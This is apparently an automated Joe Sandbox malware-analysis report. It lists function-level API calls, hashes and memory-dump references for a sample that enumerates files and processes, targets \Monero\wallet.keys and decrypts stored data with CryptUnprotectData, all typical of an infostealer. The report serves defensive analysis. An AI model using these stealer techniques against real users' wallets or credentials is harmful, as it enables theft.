Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 67189adb2af5176991b7de06451532f29284545321da2d1da422d8c009224139
Instruction ID: bde9680a87dcb4a6f9832e371bfc48485c18ab8fc04000257d4fd3db5b01c1d6
Opcode Fuzzy Hash: 67189adb2af5176991b7de06451532f29284545321da2d1da422d8c009224139
Instruction Fuzzy Hash: 51413BB195021CABDB24DB94DC99BFEB378FF44700F204199E60962291DB742F86CFA1

Function 009EE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00A00D73), ref: 009EE4A2
StrCmpCA.SHLWAPI(?,00A014F8), ref: 009EE4F2
StrCmpCA.SHLWAPI(?,00A014FC), ref: 009EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 009EEBDF

Strings

\*.*, xrefs: 009EE44D

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: ed6d2ca9e1fc7d793905b3a574e3e52d47e8896f9033a19dbeda45068897f805
Instruction ID: 084c3c301cfcad7776387ff4a5a6c82d772f612eda69676dc9884233d72a3bda
Opcode Fuzzy Hash: ed6d2ca9e1fc7d793905b3a574e3e52d47e8896f9033a19dbeda45068897f805
Instruction Fuzzy Hash: 5D122FB191011C9ADB19FB60DC96FFD7378AF94340F4045A9B60E96091EF706F89CBA2

Function 00DB3991 Relevance: 8.9, Strings: 6, Instructions: 1378COMMON

Download Yara Rule

Strings

:~n, xrefs: 00DB3A74
]+]N, xrefs: 00DB4106
#QSr, xrefs: 00DB4059
peU^, xrefs: 00DB47C9
|s~, xrefs: 00DB39F0
n`}m, xrefs: 00DB446D

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #QSr$]+]N$n`}m$peU^$:~n$|s~
API String ID: 0-2648097665
Opcode ID: 17e2a1484c1986e4a149be27389fcdf42f710dd68022929bf710668904ed44bd
Instruction ID: c340d18ea92a22b9693e1ed928d36fa04732e68ae7ea3681788c665b8446495f
Opcode Fuzzy Hash: 17e2a1484c1986e4a149be27389fcdf42f710dd68022929bf710668904ed44bd
Instruction Fuzzy Hash: 9E9205F360C2049FE304AE2DEC8567AB7E9EF94720F1A493DE6C5C3744EA7558018697

Function 00DBA0D2 Relevance: 7.9, Strings: 5, Instructions: 1630COMMON

Download Yara Rule

Strings

F^kk, xrefs: 00DBAD1A
'[wq, xrefs: 00DBB166
,3</, xrefs: 00DBACB4
Ai%X, xrefs: 00DBADBB
_S?, xrefs: 00DBA87F

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '[wq$,3</$Ai%X$F^kk$_S?
API String ID: 0-1790768242
Opcode ID: b9bb3c02309c0157a4eb433fff5c52b92416708ac6d30855fa36e6594c751622
Instruction ID: b43e1b6f1051eb2a2046ee633d0cf9814bc536b5f0ab0dc38ebc9890ac902327
Opcode Fuzzy Hash: b9bb3c02309c0157a4eb433fff5c52b92416708ac6d30855fa36e6594c751622
Instruction Fuzzy Hash: 5EB22AF3A0C2009FE304AE2DEC8567AF7D9EF94320F1A463DEAC5D7744E63598058696

Function 00DB1BD4 Relevance: 7.9, Strings: 5, Instructions: 1629COMMON

Download Yara Rule

Strings

{O%k, xrefs: 00DB2EFB
Yiv^, xrefs: 00DB21E5
Dwo., xrefs: 00DB2636
5c?, xrefs: 00DB261F
*e}, xrefs: 00DB2ED3

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *e}$5c?$Dwo.$Yiv^${O%k
API String ID: 0-424722185
Opcode ID: 9589bb60eebf73047947323870f2b3bd006df95b1df0c596a658cd0b7629f79a
Instruction ID: ac5fe71c08a5605081cf97f2046864f24dac5aeee589e9d1aaf6c35f8d926e2d
Opcode Fuzzy Hash: 9589bb60eebf73047947323870f2b3bd006df95b1df0c596a658cd0b7629f79a
Instruction Fuzzy Hash: 22B227F3A0C6149FD3046E2DEC8567AFBE9EF94720F1A4A3DEAC487744E63558018693

Function 009EC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 009EC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 009EC87C
lstrcat.KERNEL32(?,00A00B46), ref: 009EC943
lstrcat.KERNEL32(?,00A00B47), ref: 009EC957
lstrcat.KERNEL32(?,00A00B4E), ref: 009EC978

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 502a1a34b38406729a6275d0692c78a6b087ca5a4626b4512e9e2aa1f881632a
Instruction ID: 7d43f2d777969b7f5fbd2150715bb6d10ec743b7e6d98a61b88650f6c8f1d74a
Opcode Fuzzy Hash: 502a1a34b38406729a6275d0692c78a6b087ca5a4626b4512e9e2aa1f881632a
Instruction Fuzzy Hash: EE417CB591420EEBCB20CFA0DC89BFEB7B8BB48304F1045A8F509A62C0D7745A85CF91

Function 009E7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 009E724D
RtlAllocateHeap.NTDLL(00000000), ref: 009E7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 009E7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 009E72A4
LocalFree.KERNEL32(?), ref: 009E72AE

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: d17a63c3ccac5e4142e3a78b0362db83afa7ec391ed762131dbab0625580cea6
Instruction ID: 972cbfc88619d214efd734e900ce1e18c3ceb978b1d33cd9a7eae1d13ee38aa1
Opcode Fuzzy Hash: d17a63c3ccac5e4142e3a78b0362db83afa7ec391ed762131dbab0625580cea6
Instruction Fuzzy Hash: 05011275A50208BBDB24DFD4DD46F9D7778EB44B04F104555FB05AB2C0D670AA018B65

Function 009F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 009F961E
Process32First.KERNEL32(00A00ACA,00000128), ref: 009F9632
Process32Next.KERNEL32(00A00ACA,00000128), ref: 009F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 009F965C
CloseHandle.KERNEL32(00A00ACA), ref: 009F967A

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 5b30d3b3fe00d4a269fc1a3f31363f2b66a6e06aab188495b5f13807ab8eaf29
Instruction ID: 38406d9ee327ca01b57c56ddc4f38a75ef0ea559bd2d29bade8f979e93f228dd
Opcode Fuzzy Hash: 5b30d3b3fe00d4a269fc1a3f31363f2b66a6e06aab188495b5f13807ab8eaf29
Instruction Fuzzy Hash: 5C010C75A10208EBCB24DFA5CD48BEDB7F8EB48700F104198AA05D6280DB749B45CF51

Function 00DBD63B Relevance: 6.7, Strings: 4, Instructions: 1669COMMON

Download Yara Rule

Strings

t*., xrefs: 00DBDFA0
v}7, xrefs: 00DBDF2E
1=Q, xrefs: 00DBDA42
nV/, xrefs: 00DBE621

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1=Q$nV/$t*.$v}7
API String ID: 0-1156221590
Opcode ID: 51b0838871b41831c07d41da1856dce77a4e7b1238b030b864271d75d0df57c2
Instruction ID: 0fc06d3d70c0a5815ae50562c6dd8734e8e19e3fe113ed838a5d719640a6bb69
Opcode Fuzzy Hash: 51b0838871b41831c07d41da1856dce77a4e7b1238b030b864271d75d0df57c2
Instruction Fuzzy Hash: 40B20AF3A0C2049FE3046E2DEC8577AB7E5EF94720F1A453DE6C5C3744EA3598058696

Function 00DBBB65 Relevance: 6.6, Strings: 4, Instructions: 1606COMMON

Download Yara Rule

Strings

Qsj, xrefs: 00DBC55A
&mO:, xrefs: 00DBBD59
J6M, xrefs: 00DBBEE4
u}Ei, xrefs: 00DBC714

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &mO:$J6M$Qsj$u}Ei
API String ID: 0-3735752871
Opcode ID: 242072a063c7a25a321a1ab9635ab71969325972c5dfb5c5f33b4a96594a975f
Instruction ID: ebba6bc226297dc2136381d8d290c35afcd3e6b705ce14908ae33e5af3a49945
Opcode Fuzzy Hash: 242072a063c7a25a321a1ab9635ab71969325972c5dfb5c5f33b4a96594a975f
Instruction Fuzzy Hash: 84B228F390C304AFE304AE2DEC8567ABBE9EF94760F1A853DE6C487744E63558058792

Function 009F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00A005B7), ref: 009F86CA
Process32First.KERNEL32(?,00000128), ref: 009F86DE
Process32Next.KERNEL32(?,00000128), ref: 009F86F3

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

CloseHandle.KERNEL32(?), ref: 009F8761

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 27061aadad9206bd3f93a866de587c2b9480e63e81fabaab1152f5e693ecefb1
Instruction ID: 5a01bdda534bcc0ed866157596e670eb04d4549c0bb91f494d552fca52dbb260
Opcode Fuzzy Hash: 27061aadad9206bd3f93a866de587c2b9480e63e81fabaab1152f5e693ecefb1
Instruction Fuzzy Hash: 113168B190121CABCB24EF50DC45FEEB778EB85740F1081A9E20EA61A0DF706A45CFA1

Function 009F8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,009E5184,40000001,00000000,00000000,?,009E5184), ref: 009F8EC0

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
